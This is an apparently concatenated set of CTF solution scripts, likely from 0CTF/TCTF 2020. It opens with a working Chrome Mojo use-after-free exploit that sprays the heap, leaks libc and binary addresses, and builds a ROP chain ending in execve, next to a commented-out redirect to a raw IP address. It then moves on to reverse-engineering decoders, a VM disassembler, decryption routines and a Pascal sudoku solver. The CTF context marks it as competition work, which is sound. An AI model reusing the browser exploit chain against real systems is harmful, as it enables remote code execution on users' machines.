for (let i = 0; i < 44; i++)
await tInsPtr.pop();
// current capacity: 55, current size: 44
for (let i = 0; i < 206 - 44 - 1; i++)
await tInsPtr.push(0);
await tInsPtr.push(i);
// int_value_
i++;
// console.log(await tInsPtr.getTotalSize());
}
}
async function main()
{
for (let i = 0; i < 0x10; i++)
{
await createSprayObjects(tInsPtrSprays);
await createSprayObjects(tInsPtrSprays2);
}
print("spray init done");
const tStrPtr = new blink.mojom.TStoragePtr();
Mojo.bindInterface(blink.mojom.TStorage.name,
mojo.makeRequest(tStrPtr).handle,
'context', true);
await tStrPtr.init();
const tInsPtr = (await tStrPtr.createInstance()).instance;
await tStrPtr.init();
print("UAF done");
await sprayQueue(tInsPtrSprays);
print("spray done");
// for (let i = 0; i < uafs.length; i++)
// print(hex((await uafs[i].get(2)).value));
// for (let i = 0; i < 0x100; i++) {
// await uafs[i].setInt(0x13372019 + i);
// }
// for (let i = 0; i < uafs.length; i++)
// print(hex((await uafs[i].getInt()).value));
const libcAddr = (await tStrPtr.getLibcAddress()).addr - 0x40680;
const textAddr = (await tStrPtr.getTextAddress()).addr - 0x39b5e60;
// rop and fake virtual table
// 0xd1ba7: lea rdi, [rsp + 0xb0]; mov rsi, rbp; call rbx
// 0x52bc8: pop rbp; pop rbx; ret;
// 0x2cb49: pop rbx; ret;
// 0x1b96: pop rdx; ret;
// 0x439c8: pop rax; ret;
await tInsPtr.push(libcAddr + 0x52bc8); // begin of ROP
await tInsPtr.push(0); // let queue to have some element
await tInsPtr.push(textAddr + 0x3fa5114); // xchg rsp,rax, as virtual table
await tInsPtr.push(libcAddr + 0x2cb49);
await tInsPtr.push(libcAddr + 0xe4e30); // execve
await tInsPtr.push(libcAddr + 0x1b96);
await tInsPtr.push(0); // rdx = 0
await tInsPtr.push(libcAddr + 0xd1ba7);
for (let i = 0; i < 0x10; i++) {
await tInsPtr.push([0x6c662f2e, 0x705f6761]);
await tInsPtr.push(0x7265746e6972)
}
const idx = (await tInsPtr.getInt()).value;
print(idx);
for (let i = 0; i < 201; i++)
await tInsPtrSprays[idx].pop();
const heapAddr = (await tInsPtrSprays[idx].pop()).value;
// pop element to leak the address of heap
// now 0x678 is freed again due to poping elements
print(hex(heapAddr));
await sprayQueue(tInsPtrSprays2, heapAddr);
print(hex(libcAddr))
print(hex(textAddr));
await tInsPtr.getTotalSize();
}
main();
//
</script>
<!-- <script>window.location = "http://192.144.212.163:8000/dajbnkcnamlskdm.html"</script> -->
</head>
</html>
flash-1
from struct import pack
buf = open('flash', 'rb').read()
tbl = {
0x800005a0: 0x80002920,
0x800005b0: 0x80002934,
0x800005cc: 0x80002948,
0x800005ec: 0x8000295c,
0x80000610: 0x80002970,
0x80000620: 0x80002984,
0x80000630: 0x80002998,
0x80000648: 0x800029ac,
0x80000660: 0x800029c0,
0x80000670: 0x800029d4,
0x80000690: 0x800029e8,
0x800006bc: 0x800029fc,
0x800006cc: 0x80002a10,
0x800006e0: 0x80002a24,
0x80000700: 0x80002a38,
0x80000738: 0x80002a4c,
0x80000748: 0x80002a60,
0x8000078c: 0x80002a74,
0x800007c8: 0x80002a88,
0x80000814: 0x80002a9c,
0x80000834: 0x80002ab0,
0x80000878: 0x80002ac4,
0x80000898: 0x80002ad8,
0x800008a4: 0x80002aec,
0x800008b4: 0x80002b00,
0x800008d8: 0x80002b14,
0x800008e4: 0x80002b28,
0x800008f0: 0x80002b3c,
0x80000900: 0x80002b50,
0x80000924: 0x80002b64,
0x80000930: 0x80002b78,
0x8000093c: 0x80002b8c,
0x8000094c: 0x80002ba0,
0x80000978: 0x80002bb4,
0x80000984: 0x80002bc8,
0x800009b8: 0x80002bdc,
0x800009c4: 0x80002bf0,
0x800009d0: 0x80002c04,
0x800009e0: 0x80002c18,
0x80000a08: 0x80002c2c,
0x80000a14: 0x80002c40,
0x80000a20: 0x80002c54,
0x80000a30: 0x80002c68,
0x80000a5c: 0x80002c7c,
0x80000a68: 0x80002c90,
0x80000aa4: 0x80002ca4,
0x80000ab8: 0x80002cb8,
0x80000af4: 0x80002ccc,
0x80000b30: 0x80002ce0,
0x80000b44: 0x80002cf4,
0x80000b80: 0x80002d08,
0x80000ba0: 0x80002d1c,
0x80000bc8: 0x80002d30,
0x80000c0c: 0x80002d44,
0x80000c18: 0x80002d58,
0x80000c34: 0x80002d6c,
0x80000c40: 0x80002d80,
0x80000c4c: 0x80002d94,
0x80000c64: 0x80002da8,
0x80000c70: 0x80002dbc,
0x80000c7c: 0x80002dd0,
0x80000c90: 0x80002de4,
0x80000ca4: 0x80002df8,
0x80000cc8: 0x80002e0c,
0x80000d2c: 0x80002e20,
0x80000d50: 0x80002e34,
0x80000d64: 0x80002e48,
0x80000d74: 0x80002e5c,
0x80000d8c: 0x80002e70,
0x80000db8: 0x80002e84,
0x80000dc4: 0x80002e98,
0x80000de8: 0x80002eac,
0x80000e18: 0x80002ec0,
0x80000e50: 0x80002ed4,
0x80000e5c: 0x80002ee8,
0x80000e70: 0x80002efc,
0x80000e84: 0x80002f10,
0x80000e90: 0x80002f24,
0x80000ea0: 0x80002f38,
0x80000eb8: 0x80002f4c,
0x80000ed8: 0x80002f60,
0x80000f08: 0x80002f74,
0x80000f3c: 0x80002f88,
0x80000f78: 0x80002f9c,
0x80000fcc: 0x80002fb0,
0x80001014: 0x80002fc4,
0x80001098: 0x80002fd8,
0x800010d8: 0x80002fec,
0x800010f8: 0x80003000,
0x80001118: 0x80003014,
0x8000112c: 0x80003028,
0x80001150: 0x8000303c,
0x80001178: 0x80003050,
0x80001198: 0x80003064,
0x800011bc: 0x80003078,
0x800011dc: 0x8000308c,
0x80001204: 0x800030a0,
0x80001238: 0x800030b4,
0x80001248: 0x800030c8,
0x80001278: 0x800030dc,
0x800012b4: 0x800030f0,
0x800012dc: 0x80003104,
0x80001310: 0x80003118,
0x80001320: 0x8000312c,
0x8000134c: 0x80003140,
0x80001384: 0x80003154,
0x800013c4: 0x80003168,
0x800013d4: 0x8000317c,
0x800013e8: 0x80003190,
0x8000140c: 0x800031a4,
0x80001420: 0x800031b8,
0x80001444: 0x800031cc,
0x80001474: 0x800031e0,
0x800014a4: 0x800031f4,
0x800014b0: 0x80003208,
0x800014c8: 0x8000321c,
0x800014e4: 0x80003230,
0x80001514: 0x80003244,
0x80001534: 0x80003258,
0x8000157c: 0x8000326c,
0x8000159c: 0x80003280,
0x800015d0: 0x80003294,
0x800015dc: 0x800032a8,
0x800015f4: 0x800032bc,
0x80001618: 0x800032d0,
0x80001664: 0x800032e4,
0x80001684: 0x800032f8,
0x80001698: 0x8000330c,
0x800016ac: 0x80003320,
0x800016ec: 0x80003334,
0x800016fc: 0x80003348,
0x80001714: 0x8000335c,
0x80001734: 0x80003370,
0x80001744: 0x80003384,
0x80001754: 0x80003398,
0x80001768: 0x800033ac,
0x8000177c: 0x800033c0,
0x80001798: 0x800033d4,
0x800017b0: 0x800033e8,
0x800017d8: 0x800033fc,
0x800017e4: 0x80003410,
0x80001800: 0x80003424,
0x80001814: 0x80003438,
0x80001834: 0x8000344c,
0x80001854: 0x80003460,
0x80001860: 0x80003474,
0x80001880: 0x80003488,
0x8000188c: 0x8000349c,
0x800018a8: 0x800034b0,
0x800018c0: 0x800034c4,
0x800018d4: 0x800034d8,
0x800018e8: 0x800034ec,
0x80001904: 0x80003500,
0x80001920: 0x80003514,
0x8000193c: 0x80003528,
0x80001948: 0x8000353c,
0x80001958: 0x80003550,
0x80001968: 0x80003564,
0x80001978: 0x80003578,
0x80001990: 0x8000358c,
0x8000199c: 0x800035a0,
0x800019b4: 0x800035b4,
0x800019dc: 0x800035c8,
0x800019ec: 0x800035dc,
0x80001a08: 0x800035f0,
0x80001a14: 0x80003604,
0x80001a2c: 0x80003618,
0x80001a48: 0x8000362c,
0x80001a54: 0x80003640,
0x80001a6c: 0x80003654,
0x80001a88: 0x80003668,
0x80001aa0: 0x8000367c,
0x80001ae0: 0x80003690,
0x80001af8: 0x800036a4,
0x80001b10: 0x800036b8,
0x80001b3c: 0x800036cc,
0x80001b54: 0x800036e0,
0x80001b98: 0x800036f4,
0x80001ba4: 0x80003708,
0x80001bbc: 0x8000371c,
0x80001bc8: 0x80003730,
0x80001be0: 0x80003744,
0x80001bf8: 0x80003758,
0x80001c20: 0x8000376c,
0x80001c30: 0x80003780,
0x80001c58: 0x80003794,
0x80001c98: 0x800037a8,
0x80001cb8: 0x800037bc,
0x80001cf8: 0x800037d0,
0x80001d1c: 0x800037e4,
0x80001d3c: 0x800037f8,
0x80001d5c: 0x8000380c,
0x80001d70: 0x80003820,
0x80001d80: 0x80003834,
0x80001da0: 0x80003848,
0x80001dcc: 0x8000385c,
0x80001dd8: 0x80003870,
0x80001e04: 0x80003884,
0x80001e1c: 0x80003898,
0x80001e28: 0x800038ac,
0x80001e54: 0x800038c0,
0x80001e9c: 0x800038d4,
0x80001eb8: 0x800038e8,
0x80001ed8: 0x800038fc,
0x80001f0c: 0x80003910,
0x80001f20: 0x80003924,
0x80001f50: 0x80003938,
0x80001f74: 0x8000394c,
0x80001f94: 0x80003960,
0x80001fb8: 0x80003974,
0x80001fe0: 0x80003988,
0x80002008: 0x8000399c,
0x8000201c: 0x800039b0,
0x80002040: 0x800039c4,
0x80002078: 0x800039d8,
0x800020bc: 0x800039ec,
0x800020d8: 0x80003a00,
0x80002108: 0x80003a14,
0x80002144: 0x80003a28,
0x80002160: 0x80003a3c,
0x80002194: 0x80003a50,
0x800021b0: 0x80003a64,
0x800021d4: 0x80003a78,
0x80002214: 0x80003a8c,
0x80002228: 0x80003aa0,
0x80002238: 0x80003ab4,
0x80002248: 0x80003ac8,
0x80002258: 0x80003adc,
0x80002288: 0x80003af0,
0x800022bc: 0x80003b04,
0x800022e0: 0x80003b18,
0x80002334: 0x80003b2c,
0x80002354: 0x80003b40,
0x8000237c: 0x80003b54,
0x8000238c: 0x80003b68,
0x800023a0: 0x80003b7c,
0x800023b4: 0x80003b90,
0x800023d8: 0x80003ba4,
0x800023ec: 0x80003bb8,
0x80002400: 0x80003bcc,
0x80002424: 0x80003be0,
0x80002438: 0x80003bf4,
0x8000244c: 0x80003c08,
0x80002470: 0x80003c1c,
0x80002480: 0x80003c30,
0x8000249c: 0x80003c44,
0x800024cc: 0x80003c58,
0x800024dc: 0x80003c6c,
0x80002500: 0x80003c80,
0x80002534: 0x80003c94,
0x80002540: 0x80003ca8,
0x80002574: 0x80003cbc,
0x80002580: 0x80003cd0,
0x80002590: 0x80003ce4,
0x800025e0: 0x80003cf8,
0x80002600: 0x80003d0c,
}
p = 0x10000
while True:
q = buf.find(bytes.fromhex('408048001000FFFF'), p)
if q == -1:
break
q += 4
fr = q - 0x10000 + 0x80000000
assert fr in tbl
to = tbl[fr]
off = (to - (fr + 4)) // 4
patch = pack('>H', off)
# buf[q + 2:q + 4] = patch
buf = buf[:q + 2] + patch + buf[q + 4:]
assert off < 0x10000
open('flashp', 'wb').write(buf)
code = bytearray.fromhex('0009091D00090000000A00050006001400090001000A0001000B0008000900010006FFE00009001100020009B2480003000972A90005000701440009001100020009B24800030009097E00050007012E0009001100020009B2480003000955600005000701180009001100020009B248000300094CA10005000701020009001100020009B2480003000900370005000700EC0009001100020009B24800030009AA710005000700D60009001100020009B24800030009122C0005000700C00009001100020009B2480003000945360005000700AA0009001100020009B2480003000911E80005000700940009001100020009B24800030009124700050007007E0009001100020009B2480003000976C70005000700680009001100020009B24800030009096D0005000700520009001100020009B24800030009122C00050007003C0009001100020009B2480003000987CB0005000700260009001100020009B2480003000909E40005000700100009091D0007000800090000000B000D00090001000B000D')
simple = ['add', 'sub', 'mul', 'mod', 'lt', 'eq']
pc = 0
def gw():
global pc
v = (code[pc] << 8) | (code[pc + 1])
pc += 2
return v
while pc < len(code):
pc0 = pc
op = gw()
ops = ''
if op < len(simple):
mn = simple[op]
elif op in [6, 7]:
mn = {6:'jx', 7:'jnx'}[op]
opr = gw()
dst = (pc + opr) % 0x10000
ops = '{:04x}'.format(dst)
assert pc % 2 == 0 and opr % 2 == 0
elif op == 8:
mn = 'flag'
elif op == 9:
opr = gw()
mn = 'imm'
ops = '{:04x}'.format(opr)
elif op == 10:
mn = 'gln'
elif op == 11:
mn = 'sln'
elif op == 12:
mn = 'drop'
elif op == 13:
mn = 'hlt'
print(f'{pc0:04x} {mn:<5s} {ops}'.rstrip())
from Crypto.Util.number import inverse
d = inverse(0x11, 0xb248)
def f(a):
return (a * d % 0xb248)
arr = [
0x72a9,
0x097e,
0x5560,
0x4ca1,
0x0037,
0xaa71,
0x122c,
0x4536,
0x11e8,
0x1247,
0x76c7,
0x096d,
0x122c,
0x87cb,
0x09e4,
]
from struct import pack
s = b''
for c in arr:
s += pack("<H", f(c))
print(s[::-1])
j
from capstone import *
from capstone.x86_const import *
control = [0x43200CC0, 0x856A19E4, 0x048A1FA1, 0x05002064, 0x04D82290, 0x04002432, 0x046024B3, 0x8D402534, 0x048A2771, 0x04002790, 0x8D402864, 0x83482AF3, 0x8D842BA4, 0x07E83761, 0x885C37D4, 0x083A3D60, 0x06F03F22, 0x07C03F93, 0x8D604004, 0x07E84271, 0x46F04290, 0x8D604334, 0x09E84A41, 0x0A544AB4, 0x0A324D50, 0x094C4F22, 0x09C04F93, 0x8D805004, 0x09E85231, 0x494C5250, 0x8D8052F4, 0x0C8A5FB1, 0x0CEE6034, 0x0CD06260, 0x0BFA6432, 0x0C6064B3, 0x0D206534, 0x0C8A6731, 0x0BFA6750, 0x81A267D3, 0x0D206900, 0x0D406A00, 0x0D606B00, 0x0D806C00, 0x0E606C74, 0x8F6A71B1, 0x0E987210, 0x0E607300, 0x0F6A74A1, 0x0F9C7524, 0x0E7E79D0, 0x0E987B32, 0x0F407BB3, 0x8E647C33, 0x52007C90, 0x92007D44, 0x12009000]
dic = {}
for i in control:
jcc = i & 0xF
off = (i >> 4) & 0x1FFF
ln = i >> 30
dst = (i >> 17) & 0x1FFF
dic[off] = (jcc, ln, dst)
buf = open('code2', 'rb').read()
cs = Cs(CS_ARCH_X86, CS_MODE_64)
cs.detail = True
g = cs.disasm(buf, 0)
xxx = []
dis = ''
while True:
try:
insn = next(g)
except StopIteration:
break
pc = insn.address
dis += f'loc_{pc:08x}:\n'
if insn.id == X86_INS_INT3:
jcc, ln, dst = dic[pc]
t = {0:'jmp', 1:'jle', 2:'jg', 3:'jz', 4:'jnz'}[jcc]
l = {0:2, 1:5, 2:6}[ln]
n = pc + l
dis += f'{t:<10s} loc_{dst:08x}\n'
g = cs.disasm(buf[n:], n)
else:
dis += f'{insn.mnemonic:<10s} {insn.op_str}\n'
dis += f'loc_{0x900:08x}:\n'
for i in xxx:
assert i in dis
print(i)
open('dis.asm', 'w').write(dis)
from keystone import *
ks = Ks(KS_ARCH_X86, KS_MODE_64)
code, ln = ks.asm(dis, 0)
code = bytearray(code)
open('code2r', 'wb').write(code)
def bswap(a):
hi = a >> 8
lo = a & 0xFF
return (lo << 8) | hi
def word(buf, i):
return (buf[i] << 8) | buf[i + 1]
def sub(a, b):
return (a + 0x10000 - b) & 0xFFFF
def add(a, b):
return (a + b) & 0xFFFF
key = [
0x43, 0x54, 0x46, 0x54, 0x51, 0x5F, 0x41, 0x55, 0x53, 0x4C, 0x32, 0x5F, 0x32, 0x30, 0x5F, 0x30,
0xBE, 0x8C, 0xAA, 0xA2, 0x98, 0x82, 0xBE, 0xA6, 0x60, 0x64, 0x60, 0x64, 0xA8, 0xBE, 0xA8, 0x86,
0x05, 0x55, 0x4D, 0x31, 0xC8, 0x7C, 0xC8, 0xC0, 0x7D, 0xC1, 0x0D, 0x51, 0x19, 0x51, 0x45, 0x7D,
0xF9, 0x9A, 0x81, 0x91, 0x82, 0x91, 0xA2, 0xFA, 0xA2, 0x1A, 0xFA, 0x32, 0xAA, 0x8A, 0x62, 0x0A,
0x23, 0x03, 0xF5, 0x05, 0x35, 0x44, 0x65, 0x44, 0x15, 0xF5, 0x14, 0x54, 0x35, 0xC5, 0x23, 0xF3,
0x88, 0xEA, 0x88, 0x6A, 0xEA, 0xCB, 0xA8, 0x2A, 0x8A, 0x29, 0xE6, 0x6B, 0x06, 0x46, 0x0B, 0x46,
0x97, 0x11, 0x55, 0xD4, 0x53, 0x50, 0xD7, 0x14, 0x8B, 0x48, 0xAB, 0x2B, 0xAD, 0xAF, 0x2A, 0x28,
0x06, 0x46, 0x0B, 0x46, 0x3B, 0xF7, 0x76, 0xD6, 0x58, 0xD5, 0x2F, 0xDD, 0x88, 0xEA, 0x88, 0x6A,
0xAC, 0xF7, 0xCB, 0x3A, 0xEC, 0xAB, 0x4A, 0x2B, 0x35, 0x44, 0x65, 0x44, 0x61, 0xB9, 0xDD, 0xFC,
0x9E, 0xF5, 0x0F, 0x65, 0xA2, 0x1A, 0xFA, 0x32, 0x4F, 0xC4, 0x7E, 0x6E, 0x7F, 0x6E, 0x3F, 0x12,
0x19, 0x51, 0x45, 0x7D, 0x6A, 0x47, 0x83, 0x3E, 0x38, 0x3F, 0xC5, 0x9A, 0x05, 0x55, 0x4D, 0x31,
0x11, 0x6C, 0x58, 0x41, 0xA0, 0x9B, 0xBD, 0x8C, 0x98, 0x82, 0xBE, 0xA6, 0xE7, 0x5A, 0x42, 0x73,
0xA1, 0xCF, 0x95, 0x43, 0x53, 0x4C, 0x32, 0x5F, 0xD4, 0xBD, 0xBA, 0xAB, 0xAF, 0xA0, 0x21, 0x04
]
k = [(key[i + 1] << 8) | key[i] for i in range(0, len(key), 2)]
p = [0 for i in range(4)]
def f1(a, b):
t = a * b
hi = (t >> 16) & 0xFFFF
lo = t & 0xFFFF
o = (lo << 16) | hi
return (((o + (1 << 32) - t) & ((1 << 32) - 1)) >> 16) + 1
def f2(a, b):
r = []
for i in range(0x10000):
if f1(i, b) == a:
r.append(i)
assert len(r) != 0
return r[0]
arr = [
0xEF28DD7F, 0x5078615A,
0x955A0F80, 0x15682E55,
0x538F435E, 0xE71BCEEE,
0x5675A3E5, 0x7BF39DAD,
]
s = b''
for j in range(0, 8, 2):
r0 = arr[j]
r1 = arr[j + 1]
kx = 48
r0h = (r0 >> 16) & 0xFFFF
r0l = r0 & 0xFFFF
p[2] = sub(bswap(r0h), k[kx + 1])
p[0] = f2(bswap(r0l), k[kx + 0])
r1h = (r1 >> 16) & 0xFFFF
r1l = r1 & 0xFFFF
p[3] = f2(bswap(r1h), k[kx + 3])
p[1] = sub(bswap(r1l), k[kx + 2])
for i in range(8):
kx -= 6
t1 = f1(p[0] ^ p[1], k[kx + 4])
t3 = f1(add(p[3] ^ p[2], t1), k[kx + 5])
t4 = add(t1, t3)
t0 = p[0] ^ t3
u2 = p[1] ^ t3
u1 = p[2] ^ t4
t2 = p[3] ^ t4
p[1] = sub(u1, k[kx + 1])
p[2] = sub(u2, k[kx + 2])
p[0] = f2(t0, k[kx + 0])
p[3] = f2(t2, k[kx + 3])
s += bytes.fromhex(f'{p[0]:04x}{p[1]:04x}{p[2]:04x}{p[3]:04x}')
print(s)
w
buf = open('dmp', 'rb').read()
key = bytearray(0x20)
def once(idx, known):
global key
a = 0xFF
for j in range(idx, idx + len(known)):
c = j & 0x1F
# b - c = known[j]
b = c + known[j - idx]
# b = a ^ key[c] ^ buf[j]
if j != idx:
key[c] = b ^ a ^ buf[j]
a = buf[j]
known = bytes.fromhex('00 61 73 6D 01 00 00 00 01 62 0F 60 01 7F 01 7F60 03 7F 7F 7F 01 7F 60 03 7F 7E 7F 01 7E 60 01'.replace(' ', ''))
once(0, known)
known = b'wasi_snapshot_preview1.'
once(0x40, known)
known = b'Welcome to 0CTF/TCTF 2020! Have a g00d time'
once(0x4F32, known)
key[0] = ord('e')
print(key)
size = 0x5000
buf2 = bytearray(buf)
for i in range(size // 0x200):
a = 0xFF
for j in range(0x200):
c = j & 0x1F
b = a ^ key[c] ^ buf2[i * 512 + j]
a = buf2[i * 512 + j]
buf2[i * 512 + j] = (b + 0x100 - c) & 0xFF
open('dd', 'wb').write(buf2)
p = 22229
q = 227081
babymips
逆完了是个数独
..8...7..
...1..8..
1.....6..
.3.8.5.6.
3........
6..21..78
5....8..7
4.1.....2
8......14
3x3规则改成了
m = [0x00, 0x01, 0x02, 0x03, 0x0A, 0x0C, 0x0D, 0x0E, 0x13, 0x04, 0x05, 0x06, 0x0F, 0x18, 0x19, 0x21, 0x2A, 0x33, 0x07, 0x08, 0x10, 0x11, 0x1A, 0x22, 0x23, 0x2B, 0x34, 0x09, 0x12, 0x1B, 0x24, 0x2D, 0x36, 0x37, 0x3F, 0x48, 0x0B, 0x14, 0x15, 0x1C, 0x1D, 0x1E, 0x25, 0x2E, 0x27, 0x16, 0x17, 0x1F, 0x20, 0x28, 0x31, 0x3A, 0x42, 0x43, 0x26, 0x2F, 0x30, 0x38, 0x39, 0x40, 0x41, 0x49, 0x4A, 0x29, 0x32, 0x3B, 0x3C, 0x3D, 0x44, 0x4B, 0x4C, 0x4D, 0x2C, 0x35, 0x3E, 0x45, 0x46, 0x47, 0x4E, 0x4F, 0x50]
for i in range(9):
for j in range(9):
v = m[i * 9 + j]
tmp[j] = x[v]
check_unique(tmp)
解数独
program sudoku;
const
maxn=9*9*9;
maxm=9*9*4;
maxp=(maxn+1)*maxm;
block:array [1..9,1..9] of integer
= ((1, 1, 1, 1, 2, 2, 2, 3, 3),
(4, 1, 5, 1, 1, 1, 2, 3, 3),
(4, 1, 5, 5, 6, 6, 2, 2, 3),
(4, 5, 5, 5, 6, 6, 2, 3, 3),
(4, 5, 7, 5, 6, 8, 2, 3, 9),
(4, 5, 7, 7, 6, 8, 2, 3, 9),
(4, 4, 7, 7, 6, 8, 8, 8, 9),
(4, 7, 7, 6, 6, 8, 9, 9, 9),
(4, 7, 7, 8, 8, 8, 9, 9, 9));
(*
=((1,1,1,2,2,2,3,3,3),
(1,1,1,2,2,2,3,3,3),
(1,1,1,2,2,2,3,3,3),
(4,4,4,5,5,5,6,6,6),
(4,4,4,5,5,5,6,6,6),
(4,4,4,5,5,5,6,6,6),
(7,7,7,8,8,8,9,9,9),
(7,7,7,8,8,8,9,9,9),
(7,7,7,8,8,8,9,9,9));
*)
type
ptr=record
up,down,left,right,num,n2:longint;
end;
sudoku_t=record
x,y,k:integer;
end;
var
map:array [0..maxp] of ptr;
size:longint;
head:array [1..maxn] of longint;
function store(x,y,k:integer):longint;
begin
exit((x-1)*9*9+(y-1)*9+k);
end;
function rstore(x:longint):sudoku_t;
var
f:sudoku_t;
begin
f.k:=(x-1) mod 9 +1;
x:=(x-1) div 9;
f.y:=x mod 9 +1;
x:=x div 9;
f.x:=x+1;
exit(f);
end;
procedure addptr(x,y:longint);
var
i:longint;
begin
inc(size);
map[size].n2:=x;
map[size].up:=y;
map[size].down:=map[y].down;
map[size].num:=y;
inc(map[y].num);
map[map[y].down].up:=size;
map[y].down:=size;
if head[x]=0 then
begin
map[size].left:=size;
map[size].right:=size;
head[x]:=size;
end
else
begin
i:=head[x];
while map[map[i].right].num>map[i].num do
i:=map[i].right;
map[size].left:=i;
map[size].right:=map[i].right;
map[map[i].right].left:=size;
map[i].right:=size;
end;
end;
procedure dellr(x:longint);
var
i,j:integer;
begin
dec(map[0].num);
map[map[x].left].right:=map[x].right;
map[map[x].right].left:=map[x].left;
i:=map[x].down;
while i<>x do
begin
j:=map[i].right;
while j<>i do
begin
map[map[j].up].down:=map[j].down;
map[map[j].down].up:=map[j].up;
dec(map[map[j].num].num);
j:=map[j].right;
end;
i:=map[i].down;
end;
end;
procedure addlr(x:longint);
var
j,i:integer;
begin
inc(map[0].num);
map[map[x].left].right:=x;
map[map[x].right].left:=x;
i:=map[x].down;
while i<>x do
begin
j:=map[i].right;
while j<>i do
begin
map[map[j].up].down:=j;
map[map[j].down].up:=j;
inc(map[map[j].num].num);
j:=map[j].right;
end;
i:=map[i].down;
end;
end;
var
ansl:longint;
ans:array [1..maxn] of longint;
procedure init;
var
i,x,y,k,p:integer;
c:char;
begin
fillchar(map,sizeof(map),0);
fillchar(head,sizeof(head),0);
ansl:=0;
size:=0;
map[0].num:=maxm;
for i:=1 to maxm do
begin
inc(size);
map[size].up:=size;
map[size].down:=size;
map[size].left:=size-1;
map[size].right:=map[size-1].right;
map[map[size-1].right].left:=size;
map[size-1].right:=size;
end;
for x:=1 to 9 do
for y:=1 to 9 do
for k:=1 to 9 do
begin
p:=store(x,y,k);
addptr(p,(x-1)*9+k);
addptr(p,81+(y-1)*9+k);
addptr(p,162+(block[x,y]-1)*9+k);
addptr(p,243+(x-1)*9+y);
end;
for x:=1 to 9 do
begin
for y:=1 to 9 do
begin
read(c);
if c<>'0' then
begin
inc(ansl);
ans[ansl]:=store(x,y,ord(c)-ord('0'));
p:=head[ans[ansl]];
dellr(map[p].num);
i:=map[p].right;
while i<>p do
begin
dellr(map[i].num);
i:=map[i].right;
end;
end;
end;
readln;
end;
end;
function work:boolean;
var
i,p,j:longint;
debug:sudoku_t;
begin
if map[0].num=0 then
exit(true);
i:=map[0].right;
p:=i;
while i<>0 do
begin
if map[i].num<map[p].num then
p:=i;
i:=map[i].right;
end;
dellr(p);
i:=map[p].down;
while i<>p do
begin
inc(ansl);
ans[ansl]:=map[i].n2;
debug:=rstore(ans[ansl]);
j:=map[i].right;
while j<>i do
begin
dellr(map[j].num);
j:=map[j].right;
end;
if work() then
exit(true);
j:=map[i].left;
while j<>i do
begin
addlr(map[j].num);
j:=map[j].left;
end;
dec(ansl);
i:=map[i].down;
end;
addlr(p);
exit(false);
end;
procedure print;
var
a:array [1..9,1..9] of integer;
i,j:longint;
t:sudoku_t;
begin
fillchar(a,sizeof(a),0);
for i:=1 to ansl do
begin
t:=rstore(ans[i]);
a[t.x,t.y]:=t.k;
end;
for i:=1 to 9 do
begin
for j:=1 to 9 do
write(a[i,j]);
writeln;
end;
end;
var
n:integer;
fei:boolean;
begin
readln(n);
while n<>0 do
begin
dec(n);
init;
fei:=work;
print;
end;
end.